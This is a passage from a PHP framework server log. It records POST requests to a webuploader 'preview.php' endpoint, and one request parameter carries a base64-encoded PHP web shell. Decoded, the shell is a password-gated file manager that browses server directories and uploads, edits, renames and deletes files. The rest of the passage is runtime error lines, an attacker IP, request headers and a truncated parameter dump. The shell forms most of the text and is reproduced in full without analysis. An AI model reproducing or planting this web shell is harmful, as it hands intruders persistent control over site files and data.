'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:32+08:00 ] 116.213.36.234 POST 51tianwei.com/jquery/UI/H-ui.admin/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002451s] [吞吐率:408.01req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'jquery', 2 => 'UI', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 